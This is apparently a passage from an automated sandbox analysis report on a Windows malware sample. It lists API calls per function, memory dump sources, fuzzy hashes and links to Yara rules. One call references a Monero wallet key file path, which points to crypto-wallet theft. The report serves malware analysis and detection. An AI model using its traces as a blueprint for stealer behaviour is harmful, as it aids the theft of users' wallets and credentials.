Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Part of subcall function 005F8B60: GetSystemTime.KERNEL32(00600E1A,0140B798,006005AE,?,?,005E13F9,?,0000001A,00600E1A,00000000,?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005F8B86

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005ED481
lstrlen.KERNEL32(00000000), ref: 005ED698
lstrlen.KERNEL32(00000000), ref: 005ED6AC
DeleteFileA.KERNEL32(00000000), ref: 005ED72B

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 5f2c79574bb7c95e0a2bd19d82e3cfff46ee0f4187624b4fa84a78ef6591cc9d
Instruction ID: cfa80996775a1f610cfe9d158e13e9ce00ab714329ffb84ce76f5ec2f37e587a
Opcode Fuzzy Hash: 5f2c79574bb7c95e0a2bd19d82e3cfff46ee0f4187624b4fa84a78ef6591cc9d
Instruction Fuzzy Hash: ED91F1B281010D9BDB18FBA0DD59DFE7738BF94340F508169F60A66095EF786A09CB63

Function 6C675C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C675D40
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67
__aulldiv.LIBCMT ref: 6C675DB4
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction ID: d33b4dba655bb99291579b5ea7e7ad6204471695016f9aad492d62ec9b1b7e3c
Opcode Fuzzy Hash: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction Fuzzy Hash: 89518F71E001698FCF08CF69C994AAEBBF1FB85304F198A5DD811A7B50C7307945CB99

Function 6C65CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C65CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C65CF4E

Strings

0, xrefs: 6C65CF30

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction ID: e54310c26906e80553e8d3bb2d46e827d1f78c5d19c18f1187dfef5d907545ba
Opcode Fuzzy Hash: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction Fuzzy Hash: 9D511475A002568FCB00CF18C890A9AFBB5EF99300F29859DD95A5F351D731ED16CBE0

Function 005F3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 5c96e53b77397a960291c173f272c16dcbda882b4d90747c80897cdef7494242
Instruction ID: c8711c95d9f707a032a4610c9fbad7ed7060eebe492553a3cf13d46a9a6bfa5c
Opcode Fuzzy Hash: 5c96e53b77397a960291c173f272c16dcbda882b4d90747c80897cdef7494242
Instruction Fuzzy Hash: 9041F0B1D1010EABDB04EFA4D845AFEBB75BF54704F108418E616B7290DB79AA05CBA2

Function 6C696470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6982BC,?,?), ref: 6C69649B

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6964A9

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69653F
free.MOZGLUE(?), ref: 6C69655A

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction ID: 98cb846002616a141ddfcc5cd91472c026677bdcc18c31a34d08c92d525b97ac
Opcode Fuzzy Hash: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction Fuzzy Hash: 223161B5A04305AFD740CF15D88469AB7E4FF89314F00482EE85A97751DB34E919CBDA

Function 005F94D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 005F94EB

Part of subcall function 005F8D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,005F951E,00000000), ref: 005F8D5B
Part of subcall function 005F8D50: RtlAllocateHeap.NTDLL(00000000), ref: 005F8D62
Part of subcall function 005F8D50: wsprintfW.USER32 ref: 005F8D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 005F95AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 005F95C9
CloseHandle.KERNEL32(00000000), ref: 005F95D6

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: 995a66d079606905c1e33fb82bf026ebe324d1c96ccced17857fdeab80635355
Instruction ID: a57bebb3c5cfba731853c2a7ba218f353f5000685f5582daeb978995b4ededc9
Opcode Fuzzy Hash: 995a66d079606905c1e33fb82bf026ebe324d1c96ccced17857fdeab80635355
Instruction Fuzzy Hash: DC310E7190021C9FDB15DBD0CD49BEDB778FF44700F108459E606AB184DB789A49CB52

Function 6C66B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C66B4F5
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B502
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B542
free.MOZGLUE(?), ref: 6C66B578

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction ID: f8c6926e3cb4d4af112b9870dfa7403b397d49b61d05b120268176a51f4f12c6
Opcode Fuzzy Hash: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction Fuzzy Hash: 85110330A04B41C7D321CF2AC8407A5B3B0FFDA319F14970AE84953E02EBB0B5C5879A

Function 005F7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00600E00,00000000,?), ref: 005F79B0
RtlAllocateHeap.NTDLL(00000000), ref: 005F79B7
GetLocalTime.KERNEL32(?,?,?,?,?,00600E00,00000000,?), ref: 005F79C4
wsprintfA.USER32 ref: 005F79F3

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 7090cc475d7357a68a90b8765bb1d77aad049cc594e0e373170593a730365033
Instruction ID: 702d45aed1968ce3e6f06bd46894071ba1ac3cb4fd58fdaeb040da828eeeb09c
Opcode Fuzzy Hash: 7090cc475d7357a68a90b8765bb1d77aad049cc594e0e373170593a730365033
Instruction Fuzzy Hash: 85112AB2904118ABCB18DFC9DD45BBEBBF8FB4CB11F10411AF605A2280E3795941CBB1

Function 6C693DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C65F20E,?), ref: 6C693DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C65F20E,00000000,?), ref: 6C693DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C693E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C693E0E

Part of subcall function 6C68CC00: GetCurrentProcess.KERNEL32(?,?,6C6531A7), ref: 6C68CC0D
Part of subcall function 6C68CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C6531A7), ref: 6C68CC16

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction ID: 1eb75ff979cc5475eae7f49dcf4a0ee0aad8e9e8d9996727dab3d755bc266919
Opcode Fuzzy Hash: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction Fuzzy Hash: 9BF0F8B1A002087BDB00AB55EC81DAB376DEB87628F040021FE0957741D636BE6996FF

Function 005FC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 005FC74E

Part of subcall function 005FBF9F: __amsg_exit.LIBCMT ref: 005FBFAF

__getptd.LIBCMT ref: 005FC765
__amsg_exit.LIBCMT ref: 005FC773
__updatetlocinfoEx_nolock.LIBCMT ref: 005FC797

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 096653cc66bb37e0afe2079eac18fde047b133c8d4dac49a22870a70fb7a84c8
Instruction ID: 310663e9187cc6f71e18c8f743aedc195ca38a2bef5bd179b13f2335248bf68d
Opcode Fuzzy Hash: 096653cc66bb37e0afe2079eac18fde047b133c8d4dac49a22870a70fb7a84c8
Instruction Fuzzy Hash: 95F06D3294520EDBE721BBB8990AB7A3FA1BF80720F244159F604AA1D2DB6C5940DE56

Function 6C65BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C65BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C65BE8F

Strings

0, xrefs: 6C65BE5B

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction ID: 5aff77c52a83a249f610f6a40117f5f17253505299baa17352f2cf3b02d9aadf
Opcode Fuzzy Hash: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction Fuzzy Hash: 6F41B171A09745CFC301CF28C481A9BB7F4AFCA388F544B1DF985A7611D730E9698B8A

Function 6C693CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693D19
mozalloc_abort.MOZGLUE(?), ref: 6C693D6C

Strings

d, xrefs: 6C693D58

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
